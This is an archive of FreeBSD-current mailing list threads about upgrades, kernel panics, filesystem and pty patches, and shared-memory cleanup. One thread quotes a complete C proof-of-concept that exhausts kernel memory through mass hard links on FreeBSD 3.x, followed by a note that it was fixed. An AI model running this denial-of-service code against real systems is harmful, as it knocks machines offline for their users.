* William Woods <[EMAIL PROTECTED]> [000222 21:27] wrote: > I did read that document, and honestly, it dident make a lot of sence and it > seemed to have some conflicting instructions.which is why I am asking here. It looks pretty concise to me, perhaps you can explain the confusion so that we may fix it so as to help other users? -Alfred > > On 23-Feb-00 Alfred Perlstein wrote: > > * William Woods <[EMAIL PROTECTED]> [000222 21:19] wrote: > >> Hey, > >> > >> I have been following the disscussions here for a while, just trying to get > >> a > >> feel of what the transition from 3.4-stable 4.0-release will be like. I am > >> running -current on my alpha, but that was a fresh install. I am debating > >> trying -current on my laptop, but before we go there, I would like to > >> inquire > >> as to what shape the transition is in. Are there steps posted somewhere that > >> work? > >> > >> Also, what condition (I know, I am asking you to read the future) do you > >> expect > >> the transition to be like at the end of the month when 4.0 -release comes > >> out. > >> > >> Lastly, if I were to be so brave as to go from 3.4 to 4.0 -current now, > >> where > >> would I find the nessary instructions? > > > > Please see src/UPDATING To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
softdep out of space should be fixed Re: Panic (pmap)
* Matthew Dillon <[EMAIL PROTECTED]> [000223 09:55] wrote: > > :> : David. > :> > :> With softupdates turned on? Softupdates has known problems when a > :> disk runs out of space. > : > :didn't kirk just fix that? > : > : __--_|\ Julian Elischer > > I don't recall it being fixed. It _should_ be fixed in both 4.0 (rev 1.25) and 3.4 (rev 1.21.2.2+1.21.2.3) of src/sys/ufs/ffs/ffs_balloc.c -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: ffs_blkfree: freeing free block (was Re: Panic (pmap))
Er, shouldn't you guys let Kirk know, not only is he "MAINTAINER", but
pretty much mostly "CREATOR" :)
Kirk, another issue with running out of space in FFS seems to have
come up:
* Matthew Dillon <[EMAIL PROTECTED]> [000223 18:57] wrote:
> :Ian Dowse <[EMAIL PROTECTED]> wrote:
> :I think I've found it. Here's an easy way to repeat the problem to
> :start with:
> :
> : mount_mfs -T fd1440 none /mnt
> : cd /mnt
> : dd if=/dev/zero bs=4k of=test seek=1036 count=1
> : dd if=/dev/zero bs=4k of=test1 count=1
> : dd if=/dev/zero bs=4k of=test2
> : rm test1
> : dd if=/dev/zero bs=4k of=test seek=8000 count=1
> : echo > test
> :
> :It looks as if the problem is in ffs_balloc(), and occurs as follows:
> : - ffs_balloc() is asked to allocate a doubly indirect block.
> : - The first-level indirection block already exists
> : - The second-level indirection block does not exist, but is
> : successfully allocated.
> : - This block is linked into the first-level indirection block by
> : the line:
> :
> : bap[indirs[i - 1].in_off] = nb;
> :
> : - Allocation of the data block fails.
> : - All allocated blocks are then released, but there is still
> : a link in the first-level indirection block to what is
> : now a free block.
> :
> :The fix should be relatively straightforward - either the code should
> :avoid linking new indirection blocks until all allocations succeed,
> :or it should back out the changes on failure.
> :
> :Ian
>
> Great detective work! The 'allocib' variable is used to unwind the
> 'first' new indirect block allocation, but it is *only* initialized
> for the Level 0 block. So the unwinding only works when the Level 0
> indirect block had to be allocated. When the Level 0 indirect block
> is valid and a deeper level indirect block had to be allocated,
> allocib is not initialized and the association is not unwound even
> though the deeper indirect block is freed when the data block allocation
> fails.
>
> Unfortunately, we can't simply initialize 'allocib' here, because it
> would point into the middle of a buffer. The fix is thus not entirely
> trivial.
>
> This is what I think we need to do, but THIS PATCH IS NOT TESTED AND
> COULD BE COMPLETELY WRONG. Any filesystem gurus out there who can look
> at this and tell me if it's correct?
[patch snipped, Matt just re-issued a fixed version]
* Matthew Dillon <[EMAIL PROTECTED]> [000223 22:26] wrote:
>
> Oops, here's a new version of my patch. This one survives Ian's test
> script. I was improperly blowing away an 'error' field.
>
> -Matt
>
> Index: ffs_balloc.c
> ===
> RCS file: /home/ncvs/src/sys/ufs/ffs/ffs_balloc.c,v
> retrieving revision 1.25
> diff -u -r1.25 ffs_balloc.c
> --- ffs_balloc.c 2000/01/11 08:27:00 1.25
> +++ ffs_balloc.c 2000/02/24 05:44:59
> @@ -77,6 +77,7 @@
> ufs_daddr_t newb, *bap, pref;
> int deallocated, osize, nsize, num, i, error;
> ufs_daddr_t *allocib, *blkp, *allocblk, allociblk[NIADDR + 1];
> + int unwindidx = -1;
> struct proc *p = curproc; /* XXX */
>
> vp = ap->a_vp;
> @@ -272,6 +273,8 @@
> }
> }
> bap[indirs[i - 1].in_off] = nb;
> + if (allocib == NULL && unwindidx < 0)
> + unwindidx = i - 1;
> /*
>* If required, write synchronously, otherwise use
>* delayed write.
> @@ -349,8 +352,28 @@
> ffs_blkfree(ip, *blkp, fs->fs_bsize);
> deallocated += fs->fs_bsize;
> }
> - if (allocib != NULL)
> + if (allocib != NULL) {
> *allocib = 0;
> + } else if (unwindidx >= 0) {
> + int r;
> +
> + r = bread(vp, indirs[unwindidx].in_lbn,
> + (int)fs->fs_bsize, NOCRED, &bp);
> + if (r) {
> + panic("Could not unwind indirect block, error %d", error);
> + brelse(bp);
> + } else {
> + bap = (ufs_daddr_t *)bp->b_data;
> + bap[indirs[unwindidx].in_off] = 0;
> + if (flags & B_SYNC) {
> + bwrite(bp);
> + } else {
> + if (bp->b_bufsize == fs->fs_bsize)
> + bp->b_flags |= B_CLUSTEROK;
> + bdwrite(bp);
> + }
> + }
> + }
> if (deallocated) {
> #ifdef QUOTA
> /*
>
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: ie0 and fe0 probes in 4.0-CURRENT GENERIC break ep0 probe
* Robert Watson <[EMAIL PROTECTED]> [000227 19:53] wrote: > > I've posted about this previously, and am still hoping for a useful answer > :-). I have a box with an ISA 3Com 3C509 Etherlink III card in it, but > the ie0 and fe0 probes now come before the ep0 probe in the boot sequence. > If those two probes are enabled, as they are on the same port (0x300) they > leave ep0 in a state wherein the system crashes after the ep0 probe. > I'm not sure what the right answer is here--reorder the probes? Change > the ep0 probe? Either way, things are not very happy :-). Suggestions > welcome. > > (This is the second of two machines I tried to upgrade to 4.0, with ISA > ethernet cards, and both crash nastily with the GENERIC kernel as is) er, disable them in the visual boot config? -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Sysinstall won't install unless swap configured?
It seems that sysinstall will completely refuse to install unless we have made a swap partition. Then for some reason it didn't allow us the option of partitioning our second disk after "committing". Why force swap? I swear we were going to configure it after the install. :) -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Shared memory - Was: 2 Queries
* Cliff Rowley <[EMAIL PROTECTED]> [000229 01:59] wrote: > Just an update on this shared memory error. After running XFree86 for a > couple of hours, running various programs (I've not seen a pattern yet): > > [dozprompt@guru]# xchat > Gdk-ERROR **: BadAccess (attempt to access private resource denied) > serial 84 error_code 10 request_code 142 minor_code 1 > Gdk-ERROR **: BadShmSeg (invalid shared segment parameter) > serial 85 error_code 151 request_code 142 minor_code 5 > > Reckon this is due to a work in progress on the SYSV* section of the > kernel? Anyone know if that is being worked on right now? More likely work in progress with broken gtk desktop voodoo. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
installworld broken?
install -C -c -o root -g wheel -m 644 ses/Makefile /usr/share/examples/ses/Makefile install -C -c -o root -g wheel -m 644 ses/getencstat/Makefile /usr/share/examples/ses/getencstat/Makefile install: mkstemp: /usr/share/examples/ses/getencstat/INS@2802 for /usr/share/examples/ses/getencstat/Makefile: No such file or directory *** Error code 71 Stop in /home/src/share/examples. *** Error code 1 Stop in /home/src/share. *** Error code 1 Stop in /home/src. *** Error code 1 Stop in /home/src. *** Error code 1 Stop in /home/src. *** Error code 1 Stop in /home/src. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Shared memory - Was: 2 Queries
* Cliff Rowley <[EMAIL PROTECTED]> [000301 03:54] wrote: > > In any case, one major offender is imlib. Since I've recently gone > > Gnome, I've had to turn off imlib's "MIT-SHM shared memory" option > > or things would go bad after a few minutes or hours of use. > > That explains the errors when running xchat, but that doesnt explain > Netscape ;) Yes it does. Since all your programs run as _you_ then it's entriely possible that imlib went apesh*t and did something nasty to the wrong shared segment. > The annoying thing about this is that if a program decides to die because > of this error, it seems I've got a 50/50 chance that it's taken out for > good. I have to reboot to reclaim memory >:( no you don't, see below... > It'd be nice if we had a utility that could clean out and reclaim the > shared memory in 1 swoop. Then we'd be able to shut down XFree86 (and > obviously any other apps using shared memory), and get on with life :) > > (anyone listening?) er, yes this is entirely possible. If you want to clear SHM then use 'ipcs' to list and 'ipcrm' to delete. I used to have a shell script to do this, but i don't know where it went. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Shared memory - Was: 2 Queries
* Adam <[EMAIL PROTECTED]> [000301 09:24] wrote: > > > On Wed, 1 Mar 2000, Alfred Perlstein wrote: > > >I used to have a shell script to do this, but i don't know where it > >went. > > > >-- > >-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] > > I do! (line is wrapped) > > #!/bin/sh > ipcs | sed "s/[ ][ ]*/ /g" | cut -f 2 -d" " | sed > "s/[^0-9]//g" | xargs -t -n 1 ipcrm -m > heh, did you write that, or find it somewhere? It looks exactly like the one i wrote a couple years back. :) -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Getty/Init weirdness
* Christopher Nielsen <[EMAIL PROTECTED]> [000307 12:09] wrote: > After much perusing of source code, scouring of cvs log messages, and > searching the archives, I've determined I have no idea where else to > look for this problem I'm having. > > The problem is this: > > After booting, starting all services, and getting to the point where > init usually spawns the getty processes on ttyv[0-7], I get no login > prompts and no virtual terminal sessions. When was the last time you've cvsup'd and built world before it broke? I added some functionality to init, but that was about 2 weeks ago. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Getty/Init weirdness
* Christopher Nielsen <[EMAIL PROTECTED]> [000307 12:50] wrote: > >>>>> "Alfred" == Alfred Perlstein <[EMAIL PROTECTED]> writes: > > Alfred> When was the last time you've cvsup'd and built world > Alfred> before it broke? I added some functionality to init, but > Alfred> that was about 2 weeks ago. > > That's not the problem. I already tried backing it out of my local > tree and rebuilding init. Same behavior. :-) > > I cvsup'd yesterday around 6PM. I built and installed world > immediately after that and then built and installed a new kernel. *phew* Thanks for testing this. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: problem of make release.
* Idea Receiver <[EMAIL PROTECTED]> [000307 21:33] wrote: > > hi, > > I was tring to make release (just for interests) yesterday. Which > I receive an error "ln: /R/stage/kernels/GENERIC: No such file or > directory" in release.3. I go back to check Makefile, I see "_R" > been defined as "/R". Which looks doesnt make any sence, I do not > believe the / would be touched. > > is this an bug or just i did something wrong? > > thx ;) you want to make /R a symlink to a place with a helluva lot of free space. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: which(1), rewritten in C?
* Dan Papasian <[EMAIL PROTECTED]> [000302 18:17] wrote: > While this may sound crazy, I was tired of 'which' taking a long > time to complete on my 486 dx4/100 when it was under extereme > pressure, so I rewrote it in C :) > ...snip > NOTE: > This version of which has exactly the same behavior. > Also, the above test was not performed when the box was > under load.. and on slower machines/under load, the > differences are of course, more noticable. > You may all go ahead and call me crazy now. > > ...I've got the fear of posting the source, but what the heck, > getting nitpicked is good education :) > > http://bugg.strangled.net/which.c > > Any flames^Wthoughts? It doesn't seem to handle multiple arguments. File a PR and fix the issues and I'll look at getting it into post 4.0. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: which(1), rewritten in C?
* Dan Papasian <[EMAIL PROTECTED]> [000303 04:39] wrote: > Can you please give an example of where multiple arguments > doesn't work as expected? > > It works fine over here. ~ % which ls ln sh /bin/ls /bin/ln /bin/sh ~ % ./a.out ls ln sh /bin/sh -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Small bug in chown and chgrp ?
* Dave Boers <[EMAIL PROTECTED]> [000306 12:08] wrote: > Hi all, > > I've been bitten by the following: > > 44 relativity ~ % chown -v djb:wheel test > chown: illegal option -- v > usage: chown [-R [-H | -L | -P]] [-f] [-h] [-v] owner[:group] file ... >chown [-R [-H | -L | -P]] [-f] [-h] [-v] :group file ... >chgrp [-R [-H | -L | -P]] [-f] [-h] [-v] group file ... > > Where "test" is an ordinary directory. > > It seems that chown's behavior is inconsistent with both the usage message > and the man page. The same goes for chgrp. have you deleted your stale copies of chown/chgrp? hint look in /bin /sbin /usr/bin /usr/sbin and make sure the old ones aren't "in the way". -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Why not gzip iso images?
* Kai Voigt <[EMAIL PROTECTED]> [000315 05:47] wrote: > Matt Heckaman wrote: > > It's been my experience that gzipping an ISO (or other compression tools) > > do not make enough different to justify the time it takes to both compress > > and uncompress these things. For example, the time needed to un-gzip the > > ISO could be longer than the time it would take to download the space that > > was saved by it. > > This would only happen once for the user. But for the FTP server, the > amount of saved bandwidth accumulates with each download. I feel pretty confident assuming that most people that burn ISOs probably keep enough disk space free to hold one and not much more, going from a requirement of ~650MB to ~1.2GB wouldn't be a smart move imo. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Streamlining FreeBSD Installations
* Jonathan Smith <[EMAIL PROTECTED]> [000317 08:48] wrote: > > > > On Fri, 17 Mar 2000, Forrest Aldrich wrote: > > > Another issue here, at least in our application of it, is about adding > > users and setting passwords.With well over 100 machines, we want to > > also have installed user accounts for our engineers. Again, nightmareish > > to consider doing manually. > > > > Such a script used at startup could contain also the account name and > > perhaps the "crypted" form of the password, and some other utility would > > need to do the magic from there. > > > > Either put on the disk or fetch a copy of the master.passwd, copy it > someplace like /root/master.passwd that's on the root partition and do a > passwd_mkdb. > > I would suggest, however, setting up ssh on the first pass and maybe a > password on one trusted account that you could install the system(s), go > back to you Favorite Terminal(tm), sit down and use a for loop (or other > automated method ;) to send (ie. via ssh/scp ;) the master.passwd file to > a secure place on the root partition then have ssh execute the remote > command 'passwd_mkdb' on the previously sent file and there you have it. You may also want to investigate the package system, i'm pretty sure you can specify that it run particular scripts such as something running 'pw' to add accounts and whatnot. good luck, -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: kern/8324
* Archie Cobbs <[EMAIL PROTECTED]> [000317 17:55] wrote: > This bug has been around since at least 2.2.6 and is still present > in RELENG_3, RELENG_4, and -current. > > http://www.freebsd.org/cgi/query-pr.cgi?pr=8324 > > Is anyone planning to tackle it? What would be required to fix it? > (it's not clear (to me anyway) from Bruce's description how hard > this is to fix..) I think Bruce sort of went off into a tangent with his diagnosis, anyhow this is untested (of course :) ), but looks like the right thing to do (from sys_pipe.c). Perhaps the fcntls and ioctls aren't being propogated enough to set the flags properly, but if they are then it should work sort of the way SIGIO does, basically generating a signal for /some condition/ on a descriptor. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] Index: tty_pty.c === RCS file: /home/ncvs/src/sys/kern/tty_pty.c,v retrieving revision 1.74 diff -u -u -r1.74 tty_pty.c --- tty_pty.c 2000/02/09 03:32:11 1.74 +++ tty_pty.c 2000/03/18 06:12:55 @@ -337,6 +337,8 @@ selwakeup(&pti->pt_selw); wakeup(TSA_PTC_WRITE(tp)); } + if ((tp->t_state & TS_ASYNC) && tp->t_sigio) + pgsigio(tp->t_sigio, SIGIO, 0); } static int To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: 3 -> 4 when /usr is a vinum volume?
* Palle Girgensohn <[EMAIL PROTECTED]> [000317 19:03] wrote: > Hi! > > I'm having troubles updating a FreeBSD 3-stable system to current, since it has /usr as a vinum volume. I've just updated about a dozen machines without any problems, but none of them uses vinum. > > Following the instructions in UPDATING, when rebooting to single > user mode, vinum wouldn't work since the kernel module was out of > date - no surprise. So, I copied a fresh vinum.ko in there and > tried > > again. This time, vinum loaded fine, but complained that it > couldn't get the list from disk (or similiar). A 'vinum list' > command would show nothing. So, I tried rebooting with the old > 3-stable > > kernel. When makeing installworld running the 3-stable kernel, > make first installed the make binary itself, and then could not do > anything more, since the new libc was not in place, and the just > > installed make needed the new libc... odd? shall it really start > by installing make? dunno how this happened? > > > Anyway, what is a good strategy for upgrading a system where /usr > is a vinum volume? Any tips, tricks or ideas (apart from moving > /usr to a non-vinum volume and install onto that one). Yowch, please wrap lines at 70 characters. :) Anyhow, if you cd to /usr/src/sys/modules/ you can build the vinum module by typing 'make' then you can copy your 3.x modules to let's say /modules3.x and install your new modules by just typing 'make install' in /usr/src/sys/modules/ Read the loader page carefully and you should be able to boot 3.x kernels with 3.x modules and 4.0 modules with a 4.0 kernel without too much voodoo. good luck, -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: install problem with 4.0 (spec_getpages)
* Marc van Kempen <[EMAIL PROTECTED]> [000319 07:18] wrote: > > > Marc van Kempen wrote: > > > > > > Hi, > > > > > > While trying to boot from the 4.0 installation disks, > > > I get the following error after the devices have been probed: > > > > > > > [SNIP] > > > > > root@localhost:/usr/src/sys/compile/SCHOPENHAUER > > > Timecounter "i8254" frequency 1193182 Hz > > > CPU: Celeron (412.50-MHz 686-class CPU) > > > > 412 MHz is a non-conventional speed for a Celly : if you are > > overclocking (I'm doing it, too), does the bug repeats itself when at > > the normal speed ? > > > I will try that, it didn't occur to me to do that, since I've been running > that for a year or so now, without any problems. You also ought to make sure the floppies can get through a complete format before dd'ing the images over them. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: NFSv3 on freebsd<-->solaris
On 24 Aug 1999 [EMAIL PROTECTED] wrote: > Following advice from Cejka Rudolf <[EMAIL PROTECTED]>, I have edited > /src/sys/nfs/nfs_syscalls.c (commented out the lines after the "Solaris 2.5" > comment). The "File exists" errors went away, everything seemed normal, > but then I ran into another problem. mailx on solaris > client could not lock the mailbox file anymore. The snoop output is > below (I am not an NFS guru, but hope it will be useful to somebody). > Here galileo is the FBSD server, galois is a Solaris 7 NFS client. > Why would solaris machine make a request with vers=4: > galois.math.uic.edu -> galileo.math.uic.edu PORTMAP C GETPORT prog=100021 (NLM) >vers=4 proto=UDP > ? > (am I right that vers here is the same as the NFS version)? The NLM version 4 protocol is not supported, I am working on this. Question: did you delete both checks after the Solaris 2.5 mention? or just one? which one? -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: NFSv3 on freebsd<-->solaris
On 25 Aug 1999 [EMAIL PROTECTED] wrote: > >> Why would solaris machine make a request with vers=4: > >> galois.math.uic.edu -> galileo.math.uic.edu PORTMAP C GETPORT prog=100021 >(NLM) vers=4 proto=UDP > >> ? > >> (am I right that vers here is the same as the NFS version)? > > > >The NLM version 4 protocol is not supported, I am working on this. > > > >Question: did you delete both checks after the Solaris 2.5 mention? > >or just one? which one? > > > >-Alfred > > > > > > Ah, so vers=4 has nothing to do with NFS's vers 3. >From reading the Open Group's XNFS book, NFSv3 clients use the NLM version 4 protocol to gain locks, FreeBSD's rpc.lockd doesn't have stub functions for NLMv4 locking _yet_ :) > > I have deleted both checks. > Interesting... > Please let me know if you need more info or testing done. Soon enough. :) thank you, -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
this was fixed in the final hours before 3.3-release.
http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/vfs_cache.c
1.38.2.3 Thu Sep 16 2:02:15 1999 UTC by alfred
CVS Tags: RELENG_3_3_0_RELEASE; Branch: RELENG_3
Diffs to 1.38.2.2
Limit aliases to a vnode in the namecache to a sysctl tunable
'vfs.cache.maxaliases' This protects against a DoS via thousands
of hardlinks to a file wiring down all kernel memory.
Approved by:jkh
----
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
Wintelcom systems administrator and programmer
- http://www.wintelcom.net/ [[EMAIL PROTECTED]]
On Mon, 27 Sep 1999, Kenneth Culver wrote:
>
> Check this out, if anyone is intrested.
>
> I found this on packetstorm.securify.com tonight. Any ideas??
>
> [Resending once, since it's been 10.5 days...]
>
> Here's an interesting denial-of-service attack against FreeBSD >=3.0
> systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
> way to purge entries unless the `vnode' (e.g. the file) they point to
> is removed from memory -- which generally doesn't happen unless a
> certain magic number of `vnodes' is in use, and never happens when the
> `vnode' (i.e. file) is open. Thus it's possible to chew up an
> arbitrary amount of wired kernel memory relatively simply.
>
> What strikes me as funny about this is that the relevant code in
> 4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
> susceptible to such an attack, and all of the code to prevent it was
> intentionally removed.
>
> I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
> and it chugged along to about `02/03000' (meaning it created 3 files
> and about 63000 or so links), consuming a whopping 34MB of wired
> kernel memory (according to `top'), before all file system activity
> came to a screeching halt and the machine was unusable.
>
> This exploit does not affect Linux 2.0.36, or any version of NetBSD.
> I have not tested Linux versions >=2.1 (which have a different
> implementation of the equivalent code from 2.0.36), but based on code
> inspection, I do not believe it to be vulnerable to this particular
> attack.
>
> Note that, although it may seem like setting quotas is a good solution
> to this problem, if the FreeBSD system is acting as a NFS client, it's
> possible to use a variant of the attack that only creates one file and
> keeps at most one link to it at any given time.
>
> Also note that it may be possible to exercise this against a FTP
> server with a writable directory if the server has a way of creating
> hard links. (I'm not aware of any that do, but I point this out for
> completeness.)
>
> -8<-snip-8<-snip-8<-snip-8<-snip-8<-
> #include
> #include
> #include
>
> #define NFILE 64
> #define NLINK 3
> #define NCHAR 245
>
> int
> main()
> {
> char junk[NCHAR+1],
> dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
> int i, j;
> struct stat sb;
>
> memset(junk, 'x', NCHAR);
> junk[NCHAR] = '\0';
> for (i = 0; i < NFILE; i++) {
> printf("\r%02d/%05d...", i, 0),
> fflush(stdout);
> sprintf(dir, "%02d-%02d", i, 0);
> if (mkdir(dir, 0755) < 0)
> fprintf(stderr, "mkdir(%s) failed\n", dir),
> exit(1);
> sprintf(file1, "%s/%s%03d", dir, junk, 0);
> if (creat(file1, 0644) < 0)
> fprintf(stderr, "creat(%s) failed\n", file1),
> exit(1);
> if (stat(file1, &sb) < 0)
> fprintf(stderr, "stat(%s) failed\n", file1),
> exit(1);
> for (j = 1; j < NLINK; j++) {
> if ((j % 1000) == 0) {
> printf("\r%02d/%05d...", i, j),
> fflush(stdout);
> sprintf(dir, "%02d-%02d", i, j/1000);
> if (mkdir(dir, 0755) < 0)
> fprintf(stderr, "mkdir(%s) failed\n", dir),
> exit(1);
> }
> sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
> if (link(file1, file2) < 0)
> fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
> exit(1);
> if (stat(file2, &sb) < 0)
> fprintf(stderr, "stat(%s) failed\n", file2),
> exit(1);
> }
> }
> printf("\rfinished successfully\n");
> }
> -8<-snip-8<-snip-8<-snip-8<-snip-8<-
>
>
>
> To Unsubscribe: send mail to [EMAIL PROTECTED]
> with "unsubscribe freebsd-current" in the body of the message
>
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: Repeatable panic in current, cause Netscape
On Wed, 29 Sep 1999, Vallo Kallaste wrote:
> Hello
>
> The latest -current system crashes while starting up Netscape, mine
> version is 4.61, Linux one. It's fully repeatable in my case. I got
> crash dump and here's my dmesg and gdb trace:
>
> Copyright (c) 1992-1999 The FreeBSD Project.
> Copyright (c) 1982, 1986, 1989, 1991, 1993
> The Regents of the University of California. All rights reserved.
...
excellent, using kgbd, can you please type "up" until you hit
frame 5 and print the value of the ndp and some of the other
variables? A listing of the code at that location would also
be great. ('list')
thanks,
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
Wintelcom systems administrator and programmer
- http://www.wintelcom.net/ [[EMAIL PROTECTED]]
>
> Script started on Wed Sep 29 11:07:23 1999
> myhakas# gdb -k /sys/compile/Myhakas/kernel.debug vmcore.1
> GNU gdb 4.18
> Copyright 1998 Free Software Foundation, Inc.
> GDB is free software, covered by the GNU General Public License, and you are
> welcome to change it and/or distribute copies of it under certain conditions.
> Type "show copying" to see the conditions.
> There is absolutely no warranty for GDB. Type "show warranty" for details.
> This GDB was configured as "i386-unknown-freebsd"...
> SMP 2 cpus
> IdlePTD 3211264
> initial pcb at 298e00
> panicstr: page fault
> panic messages:
> ---
> Fatal trap 12: page fault while in kernel mode
> mp_lock = 0102; cpuid = 1; lapic.id = 0100
> fault virtual address = 0x17
> fault code= supervisor read, page not present
> instruction pointer = 0x8:0xc017ad2c
> stack pointer = 0x10:0xc8e5fca0
> frame pointer = 0x10:0xc8e5fcf0
> code segment = base 0x0, limit 0xf, type 0x1b
> = DPL 0, pres 1, def32 1, gran 1
> processor eflags = interrupt enabled, resume, IOPL = 0
> current process = 666 (netscape)
> interrupt mask= none <- SMP: XXX
> trap number = 12
> panic: page fault
> mp_lock = 0102; cpuid = 1; lapic.id = 0100
> boot() called on cpu#1
>
> syncing disks... 19 5 1 done
>
> dumping to dev #da/0x20001, offset 0
> dump 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109
>108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84
>83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56
>55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28
>27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1
> ---
> #0 boot (howto=256) at ../../kern/kern_shutdown.c:281
> 281 dumppcb.pcb_cr3 = rcr3();
> (kgdb) where
> #0 boot (howto=256) at ../../kern/kern_shutdown.c:281
> #1 0xc0155349 in panic (fmt=0xc026de2f "page fault")
> at ../../kern/kern_shutdown.c:531
> #2 0xc0236400 in trap_fatal (frame=0xc8e5fc60, eva=23)
> at ../../i386/i386/trap.c:907
> #3 0xc0236071 in trap_pfault (frame=0xc8e5fc60, usermode=0, eva=23)
> at ../../i386/i386/trap.c:800
> #4 0xc0235ce7 in trap (frame={tf_fs = 1048600, tf_es = 16, tf_ds = 16,
> tf_edi = -924451276, tf_esi = -924451236, tf_ebp = -924451600,
> tf_isp = -924451700, tf_ebx = -1061078179, tf_edx = -924572480,
> tf_ecx = 7, tf_eax = 7, tf_trapno = 12, tf_err = 0,
> tf_eip = -1072190164, tf_cs = 8, tf_eflags = 66198,
> tf_esp = -1061078179, tf_ss = 0}) at ../../i386/i386/trap.c:426
> #5 0xc017ad2c in namei (ndp=0xc8e5fe34) at ../../kern/vfs_lookup.c:91
> #6 0xc0c12eb5 in ?? ()
> #7 0xc0c11c55 in ?? ()
> #8 0xc0236642 in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47,
> tf_edi = 677678720, tf_esi = 677674201, tf_ebp = -1077946400,
> tf_isp = -924450860, tf_ebx = 677674201, tf_edx = -1077946464,
> tf_ecx = -1077946464, tf_eax = 106, tf_trapno = 12, tf_err = 2,
> tf_eip = 677666503, tf_cs = 31, tf_eflags = 582, tf_esp = -1077946504,
> tf_ss = 47}) at ../../i386/i386/trap.c:1056
> #9 0xc02241b1 in Xint0x80_syscall ()
> #10 0x28644564 in ?? ()
> (kgdb) quit
> myhakas# exit
> exit
>
> The same Netscape and X did work for last 3 weeks. The same Netscape did
> work for at least last 2 months. I see it's a known problem accordingly
> to lists.
>
> Thanks
> --
>
> Vallo Kallaste
> [EMAIL PROTECTED]
>
>
> To Unsubscribe: send mail to [EMAIL PROTECTED]
> with "unsubscribe freebsd-current" in the body of the message
>
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
how to avoid bullets in the feet (was Re: HEADS UP: sigset_t changescommitted)
